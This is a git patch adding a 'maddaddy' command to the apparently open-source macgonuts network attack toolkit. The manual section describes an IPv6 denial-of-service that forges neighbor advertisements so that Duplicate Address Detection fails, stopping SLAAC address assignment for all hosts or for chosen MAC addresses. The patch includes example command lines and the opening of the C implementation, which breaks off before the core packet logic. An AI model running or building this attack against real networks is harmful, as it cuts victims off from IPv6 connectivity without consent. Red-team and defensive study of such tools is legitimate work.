From 0357e735d23e7f036b64f03188e3998ee66fc3a9 Mon Sep 17 00:00:00 2001 From: rafael-santiago Date: Tue, 26 Sep 2023 23:59:53 -0300 Subject: [PATCH] Implement maddaddy task --- README.md | 4 +- doc/MANUAL.md | 50 +++- src/cmd/macgonuts_banners.c | 30 ++- src/cmd/macgonuts_exec.c | 2 + src/cmd/macgonuts_maddaddy_task.c | 388 ++++++++++++++++++++++++++++++ src/cmd/macgonuts_maddaddy_task.h | 17 ++ 6 files changed, 482 insertions(+), 9 deletions(-) create mode 100644 src/cmd/macgonuts_maddaddy_task.c create mode 100644 src/cmd/macgonuts_maddaddy_task.h diff --git a/README.md b/README.md index fd7c090..43fc311 100644 --- a/README.md +++ b/README.md @@ -38,8 +38,8 @@ red teams. *Once it stated, when using this tool you are assuming that any damag law infringements that some wrong action taken by you could cause is of your entire responsibility*. **Sponsoring**: I have not been running this project for profit. It is only a thing that I do at my spare time. It is a -weekend project. I try to evolve it according to necessities I have been facing up during my information security -professional career. If you liked it or it is being useful to you somehow and you really want to contribute +weekend project. A pet project. I try to evolve it according to necessities I have been facing up during my information +security professional career. If you liked it or it is being useful to you somehow and you really want to contribute with money, try to redirect it to a local charity institution, an ONG of your choice or even your own community. You can also do [pull requests](https://github.com/rafael-santiago/macgonuts/pulls) proposing improvements. Do some [bug report](https://github.com/rafael-santiago/macgonuts/issues) if a bug is annoying you. Maybe you should diff --git a/doc/MANUAL.md b/doc/MANUAL.md index 37a90b5..94abd4e 100644 --- a/doc/MANUAL.md +++ b/doc/MANUAL.md @@ -16,6 +16,7 @@ - [The dnsspoof command](#the-dnsspoof-command) - [The xablau command](#the-xablau-command) - [The caleaboqui command](#the-caleaboqui-command) + - [The maddaddy command](#the-maddaddy-command) - [Catsparrow's ``macgonuts`` commands cheat sheet](#catsparrows-macgonuts-commands-cheat-sheet) ## What does ``macgonuts`` is for? @@ -809,6 +810,52 @@ Well, now you master anything about silence, congrats! [``Back``](#topics) +### The maddaddy command + +>Grrrr! C4uTion is now logged in... + If you want to deny `SLAAC` based `link-local` address atribution in an `IPv6` network or being more straightforward if you +want to promote a `DoS` attack by exploiting `DAD`. "Let's go baby, let's go bad, you should give try to ma-ma-ma-maddady" :stuck_out_tongue_winking_eye: + +The `maddaddy` is a pretty straightforward command. All it expects is the interface that you use to access the `IPv6` available +in your network environment. + +Yeah, ridiculous but: story time!!!! + +Once upon time `GooGoo`. He hated network addresses in hexadecimal format and made up his mind about deny any device in his +network of using this bad idea. Otherwise he would use name callings in `IPv6` addresses as a kind of mnemonics, since +`GooGoo` was a well-behaved guy, he decided to promote a `DoS` on `IPv6` with his favorite `macgonuts`' command: `maddaddy`. + +So all `GooGoo` did was: + +``` +GooGoo@OffTheRoad:~# macgonuts maddaddy --lo-iface=eth0 +``` + +At this point `GooGoo` started to listen to `neighbor solicitation` in a certain addressing range and when it found +`GooGoo` mocked fake `neighbor advertisements` by avoiding new hosts of ingressing in the network with a valid `IPv6` +address. As a result no hosts will be automatically configured by `SLAAC`. Muahauhauahuahauhaua! + +However, let's supose that `GooGoo` had specific targets. So only those targets should be blocked of ingressing in the network. +Well all `GooGoo` needed to use was the `--targets` option. This option expects `MAC` addresses separated by comma. +Take a look: + +``` +GooGoo@OffTheRoad:~# macgonuts maddaddy --lo-iface=eth0 \ +> --targets=00:11:22:33:44:55,AA:BB:CC:DD:EE:00,ab:cd:ef:12:23:56 +``` + +From now on only the hosts using the indicated `MAC` address would be blocked. + +So `maddaddy` causes in the target hosts a `"dadfailed"` by making the hosts of automatically be able to have the minimal +link-local addressing to boot up `IPv6`. You know, `maddaddy` is a kind of bad command for bad people... + +Well, if you did not notice yet, `maddaddy` is a humble tribute to one of my favorite rock bands ever: `The Cramps`! + +Congrats! Now you are a master of `ma-ma ma-ma ma-ma-mad daddy`! :satisfied: :sunglasses: + +[``Back``](#topics) + ## Catsparrow's ``macgonuts`` commands cheat sheet > #include #include +#include #include #include #include @@ -49,6 +50,7 @@ struct macgonuts_task_ctx { MACGONUTS_CMD_REGISTER_TASK(dnsspoof), MACGONUTS_CMD_REGISTER_TASK(xablau), MACGONUTS_CMD_REGISTER_TASK(caleaboqui), + MACGONUTS_CMD_REGISTER_TASK(maddaddy), MACGONUTS_CMD_REGISTER_TASK_ALIAS(xablau, neighscan), MACGONUTS_CMD_REGISTER_TASK_ALIAS(caleaboqui, shh), MACGONUTS_CMD_REGISTER_TASK(version), diff --git a/src/cmd/macgonuts_maddaddy_task.c b/src/cmd/macgonuts_maddaddy_task.c new file mode 100644 index 0000000..bd266d7 --- /dev/null +++ b/src/cmd/macgonuts_maddaddy_task.c @@ -0,0 +1,388 @@ +/* + * Copyright (c) 2023, Rafael Santiago + * All rights reserved. + * + * This source code is licensed under the BSD-style license found in the + * LICENSE file in the root directory of this source tree. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static int g_QuitMadDaddy = 0; + +static int do_mad_daddy(const char *iface, const uint8_t *hw_addrs, const size_t hw_addrs_size); + +static inline int send_fake_na(const macgonuts_socket_t rsk, + const uint8_t *ethbuf, const ssize_t ethbuf_size, const uint8_t *target_addr); + +static void sigint_watchdog(int signo); + +static uint8_t *preprocess_targets_array(char **targets, const size_t targets_nr, size_t *macs_buf_size); + +static uint8_t *preprocess_targets_array(char **targets, const size_t targets_nr, size_t *macs_buf_size); + +static inline int is_solicited_node_multicast_link(const uint8_t *ethbuf, const ssize_t ethbuf_size); + +static inline int is_solicited_node_multicast_proto(const uint8_t *ethbuf, const ssize_t ethbuf_size); + +static inline int is_ndp_ns(const uint8_t *ethbuf, const ssize_t ethbuf_size, uint8_t *target_addr); + +static inline int should_dad_go_bad(const uint8_t *ethbuf, const ssize_t ethbuf_size, + const uint8_t *hw_addrs, const size_t hw_addrs_size); + +int macgonuts_maddaddy_task(void) { + int err = EXIT_FAILURE; + const char *lo_iface = macgonuts_get_option("lo-iface", NULL); + char **targets = NULL; + size_t targets_nr = 0; + uint8_t *hw_addrs = NULL; + size_t hw_addrs_size = 0; + + if (lo_iface == NULL) { + macgonuts_si_error("--lo-iface option is missing.\n"); + goto macgonuts_maddaddy_task_epilogue; + } + + targets = macgonuts_get_array_option("targets", NULL, &targets_nr); + if (targets != NULL) { + hw_addrs = preprocess_targets_array(targets, targets_nr, &hw_addrs_size); + macgonuts_free_array_option_value(targets, targets_nr); + targets = NULL; + } + + err = do_mad_daddy(lo_iface, hw_addrs, hw_addrs_size); + +macgonuts_maddaddy_task_epilogue: + + if (hw_addrs != NULL) { + free(hw_addrs); + } + + if (targets != NULL) { + macgonuts_free_array_option_value(targets, targets_nr); + } + + return err; +} + +int macgonuts_maddaddy_task_help(void) { + macgonuts_si_print("use: macgonuts maddady --lo-iface=